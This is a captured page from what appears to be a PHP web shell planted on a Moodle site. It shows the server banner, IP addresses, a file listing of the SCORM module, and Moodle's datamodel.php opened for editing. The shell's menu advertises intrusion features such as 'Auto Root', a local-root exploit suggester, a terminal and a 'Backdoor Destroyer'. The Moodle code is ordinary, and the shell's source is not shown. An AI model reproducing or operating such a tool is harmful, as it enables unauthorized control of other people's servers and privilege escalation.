Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
mod /
scorm /
Delete
Unzip
Name
Size
Permission
Date
Action
backup
[ DIR ]
drwxr-sr-x
2017-06-22 15:16
classes
[ DIR ]
drwxr-sr-x
2017-06-22 15:26
datamodels
[ DIR ]
drwxr-sr-x
2017-06-22 15:26
db
[ DIR ]
drwxr-sr-x
2017-06-22 15:26
lang
[ DIR ]
drwxr-sr-x
2017-06-22 15:16
pix
[ DIR ]
drwxr-sr-x
2017-06-22 15:26
report
[ DIR ]
drwxr-sr-x
2017-06-22 15:26
tests
[ DIR ]
drwxr-sr-x
2017-06-22 15:27
aicc.php
23.67
KB
-rw-r--r--
2017-06-22 15:26
datamodel.php
4.25
KB
-rw-r--r--
2017-06-22 15:26
grade.php
1.54
KB
-rw-r--r--
2017-06-22 15:26
index.php
4.37
KB
-rw-r--r--
2017-06-22 15:26
lib.php
52.75
KB
-rw-r--r--
2017-06-22 15:26
loadSCO.php
6.39
KB
-rw-r--r--
2017-06-22 15:26
locallib.php
89.88
KB
-rw-r--r--
2017-06-22 15:26
mod_form.php
25.92
KB
-rw-r--r--
2017-06-22 15:26
module.js
36.71
KB
-rw-r--r--
2017-06-22 15:26
player.js
1.23
KB
-rw-r--r--
2017-06-22 15:26
player.php
11.75
KB
-rw-r--r--
2017-06-22 15:26
prereqs.php
3.11
KB
-rw-r--r--
2017-06-22 15:26
renderer.php
7.23
KB
-rw-r--r--
2017-06-22 15:26
report.php
3.48
KB
-rw-r--r--
2017-06-22 15:26
reportsettings_form.php
2.12
KB
-rw-r--r--
2017-06-22 15:26
request.js
1.92
KB
-rw-r--r--
2017-06-22 15:26
settings.php
8.89
KB
-rw-r--r--
2017-06-22 15:26
styles.css
5.19
KB
-rw-r--r--
2017-06-22 15:26
tabs.php
2.04
KB
-rw-r--r--
2017-06-22 15:26
upgrade.txt
767
B
-rw-r--r--
2017-06-22 15:27
version.php
1.18
KB
-rw-r--r--
2017-06-22 15:27
view.js
3.67
KB
-rw-r--r--
2017-06-22 15:27
view.php
7.28
KB
-rw-r--r--
2017-06-22 15:27
Save
Rename
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. require_once('../../config.php'); require_once($CFG->dirroot.'/mod/scorm/locallib.php'); $id = optional_param('id', '', PARAM_INT); // Course Module ID, or $a = optional_param('a', '', PARAM_INT); // scorm ID $scoid = required_param('scoid', PARAM_INT); // sco ID $attempt = required_param('attempt', PARAM_INT); // attempt number. if (!empty($id)) { if (! $cm = get_coursemodule_from_id('scorm', $id)) { print_error('invalidcoursemodule'); } if (! $course = $DB->get_record("course", array("id" => $cm->course))) { print_error('coursemisconf'); } if (! $scorm = $DB->get_record("scorm", array("id" => $cm->instance))) { print_error('invalidcoursemodule'); } } else if (!empty($a)) { if (! $scorm = $DB->get_record("scorm", array("id" => $a))) { print_error('invalidcoursemodule'); } if (! $course = $DB->get_record("course", array("id" => $scorm->course))) { print_error('coursemisconf'); } if (! $cm = get_coursemodule_from_instance("scorm", $scorm->id, $course->id)) { print_error('invalidcoursemodule'); } } else { print_error('missingparameter'); } $PAGE->set_url('/mod/scorm/datamodel.php', array('scoid' => $scoid, 'attempt' => $attempt, 'id' => $cm->id)); require_login($course, false, $cm); if (confirm_sesskey() && (!empty($scoid))) { $result = true; $request = null; if (has_capability('mod/scorm:savetrack', context_module::instance($cm->id))) { // Preload all current tracking data. $trackdata = $DB->get_records('scorm_scoes_track', array('userid' => $USER->id, 'scormid' => $scorm->id, 'scoid' => $scoid, 'attempt' => $attempt), '', 'element, id, value, timemodified'); foreach (data_submitted() as $element => $value) { $element = str_replace('__', '.', $element); if (substr($element, 0, 3) == 'cmi') { $netelement = preg_replace('/\.N(\d+)\./', "\.\$1\.", $element); $result = scorm_insert_track($USER->id, $scorm->id, $scoid, $attempt, $element, $value, $scorm->forcecompleted, $trackdata) && $result; } if (substr($element, 0, 15) == 'adl.nav.request') { // SCORM 2004 Sequencing Request. require_once($CFG->dirroot.'/mod/scorm/datamodels/scorm_13lib.php'); $search = array('@continue@', '@previous@', '@\{target=(\S+)\}choice@', '@exit@', '@exitAll@', '@abandon@', '@abandonAll@'); $replace = array('continue_', 'previous_', '\1', 'exit_', 'exitall_', 'abandon_', 'abandonall'); $action = preg_replace($search, $replace, $value); if ($action != $value) { // Evaluating navigation request. $valid = scorm_seq_overall ($scoid, $USER->id, $action, $attempt); $valid = 'true'; // Set valid request. $search = array('@continue@', '@previous@', '@\{target=(\S+)\}choice@'); $replace = array('true', 'true', 'true'); $matched = preg_replace($search, $replace, $value); if ($matched == 'true') { $request = 'adl.nav.request_valid["'.$action.'"] = "'.$valid.'";'; } } } } } if ($result) { echo "true\n0"; } else { echo "false\n101"; } if ($request != null) { echo "\n".$request; } }